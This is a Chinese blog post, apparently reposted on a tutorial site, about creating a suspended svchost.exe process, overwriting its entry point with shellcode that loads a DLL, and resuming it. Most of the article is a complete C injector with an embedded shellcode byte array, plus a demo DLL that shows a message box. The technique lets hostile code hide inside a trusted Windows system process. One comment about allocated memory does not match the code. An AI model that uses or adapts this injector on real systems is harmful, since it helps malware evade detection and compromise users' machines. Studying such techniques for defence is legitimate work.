创建傀儡进程svchost.exe并注入DLL文件(Shellcode)

这篇具有很好参考价值的文章主要介绍了创建傀儡进程svchost.exe并注入DLL文件(Shellcode)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

创建傀儡进程svchost.exe并注入DLL文件(Shellcode)

本文主要利用 SetThreadContext 修改进程中的线程上下文来实现Dll注入(ShellCode)。

实现原理

  • 首先,使用 CreateProcess 函数创建svchost.exe进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 使用 GetThreadContext,设置标志为 CONTEXT_ALL,获取新进程中所有的线程上下文。
  • 使用 ReadProcessMemory 读取目标进程的加载基址。
  • 在原来的空间中进行覆盖写入 Shellcode。
  • 最后,调用 ResumeThread 恢复主线程,让进程继续运行并执行我们的 Shellcode 代码。

EXE主程序

int main()
{
	//Dll inject shellcode, path D:\x86.dll
	unsigned char buf[] =
	"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
	"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
	"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
	"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
	"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
	"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
	"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
	"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
	"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
	"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x8d\x85\xb0"
	"\x00\x00\x00\x50\x68\x4c\x77\x26\x07\xff\xd5\xbb\xf0\xb5"
	"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
	"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
	"\x44\x3a\x5c\x78\x38\x36\x2e\x64\x6c\x6c\x00";
 
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(STARTUPINFOA);
	// 创建挂起进程
	if (!CreateProcessA(
		"C:\\windows\\sysWoW64\\svchost.exe",
		NULL,
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&si,
		&pi
	))
	{
		printf("CreateProcess failed (%d).\n", GetLastError());
		return 0;
	}
 
	// 获取线程上下文
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_ALL;
	if (!GetThreadContext(pi.hThread, &ctx))
	{
		printf("GetThreadContext failed (%d).\n", GetLastError());
	}
 
	// 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
	// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
	// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
	DWORD dwImageBase = 0;
	DWORD lpNumberOfBytesRead = 0;
	if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
	{
		printf("ReadProcessMemory failed (%d).\n", GetLastError());
		return 0;
	}
 
	// 在申请的空间中写入shellcode
	DWORD NumberOfBytesWritten = 0;
	if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
	{
		printf("WriteProcessMemory failed (%d).\n", GetLastError());
	}
 
	// 恢复线程执行
	if (ResumeThread(pi.hThread) == -1)
	{
		printf("ResumeThread failed (%d).\n", GetLastError());
	}
 
	system("pause");
 
    return 0;
}

DLL程序

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, "DLL inject successful!", "Successful", NULL);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

效果演示

创建傀儡进程svchost.exe并注入DLL文件(Shellcode)文章来源地址https://www.toymoban.com/news/detail-787832.html

到了这里,关于创建傀儡进程svchost.exe并注入DLL文件(Shellcode)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • python 打包项目(包含.ui文件,.dll文件)为exe可执行文件

    目录 1. 背景 2. 生成.spec文件: 3. 编辑.spec文件: 4. 最后生成单个可执行文件.exe:  5 补充: 1. 背景         最近在项目中想做一个用于烧录MCU的上位机给工厂用。于是在某工程模板上简单开发了一个基于python 和pyQt5的上位机软件。项目包含多个.py文件,多个.dll文件,一

    2024年02月16日
    浏览(34)
  • 驱动开发:内核ShellCode线程注入

    还记得 《驱动开发:内核LoadLibrary实现DLL注入》 中所使用的注入技术吗,我们通过 RtlCreateUserThread 函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入 ShellCode 代码实现反弹Shell,这里需要注意一般情况下 RtlCreateUserThread 需要传入两个最重要的

    2024年02月08日
    浏览(34)
  • cmake扩展(2)——windows下动态设置输出文件(dll/exe)版本

    windows下设置文件的版本需要通过VERSIONINFO接口,详情参考VERSIONINFO resource。这里我们根据模板做了一定的修改。 FILEVERSION和PRODUCTVERSION为必填项。内容以\\\',\\\'分隔,输出以\\\'.\\\'分隔(如设置为1,1,3,5,则实际输出版本为1.1.3.5)。可以直接是一整个变量,也可以是多个变量以\\\',\\\'隔开。 而

    2024年02月13日
    浏览(29)
  • C++开发实战(二):打开已有工程,并编译生成dll、exe等文件

    1、如下几张图,提示很友好,但我都点击了确定,并进行了运行,提示: 此项目需要 MFC 库。从 Visual Studio 安装程序(单个组件选项卡)为正在使用的任何。。。 2、根据提示安装依赖库 (1)搜索栏搜索应用Visual Studio Installer (2)双击打开,选择单个组件安装,选择 MFC 库(

    2024年02月06日
    浏览(79)
  • 【Windows系统编程】03.远线程注入ShellCode

    shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。 kali中借助生成shellcode: 桌面打开终端: 搜索payload: 另外打开一个终端: 回车,shellcode就出来了,复制出来就行了 然后我们来继续写代码: 这里给出我写出的

    2024年02月12日
    浏览(33)
  • 查看exe和dll等二进制文件时间戳(生成时间)的工具与方法介绍

    目录 1、为何要查看二进制文件的时间戳 2、使用PEViewer工具查看文件的时间戳

    2023年04月14日
    浏览(43)
  • C#利用Costura.Fody制作绿色单文件程序(含多个Dll)合并成一个Exe)

    开发程序的时候经常会引用一些第三方的DLL,然后编译生成的exe文件就不能脱离这些DLL独立运行了。这样交给用户很不方便,希望的效果是直接交付一个exe文件。 这时候就需要借助一款名为Fody.Costura的插件。Fody.Costura是一个Fody框架下的插件,可通过Nuget安装到VS工程中。安装

    2024年02月09日
    浏览(44)
  • python创建exe文件

    pip install pyinstaller exe_test.py 注:添加sleep以便在执行exe文件的时候能看到结果 (1)命令行进入exe_test.py所在的目录   (2)生成exe文件 pyinstaller -F exe_test.py 在dist目录中会生成exe_test.exe文件 以上是不带版本信息参数生成exe文件 如果要带版本信息参数,则需要先编辑版本信息文

    2024年02月09日
    浏览(27)
  • QT运行exe遇到Qt5Core.dll等dll文件缺失及无法定位程序输入点于动态链接库问题解决方法

    QT运行exe相关问题解决方法, 保姆级 ,亲测有效! 如果运行exe文件出现的问题如下图所示,这是由于安装路径缺失相应的dll导致的。(其他dll文件缺失解决方法同理) 解决方法: 在自己下载下来的文件中寻找相应的dll文件并复制到安装路径中。以我自己为例: 在上图的路

    2024年02月17日
    浏览(38)
  • 关于如何创建一个windows窗口的exe文件

    如何创建一个windows窗口exe文件,具体参照这个博主: http://t.csdn.cn/pfQK5 以下是实现代码,注意用vs打开: 之后用PE文件分析工具对这个PE文件的格式进行分析

    2024年02月12日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包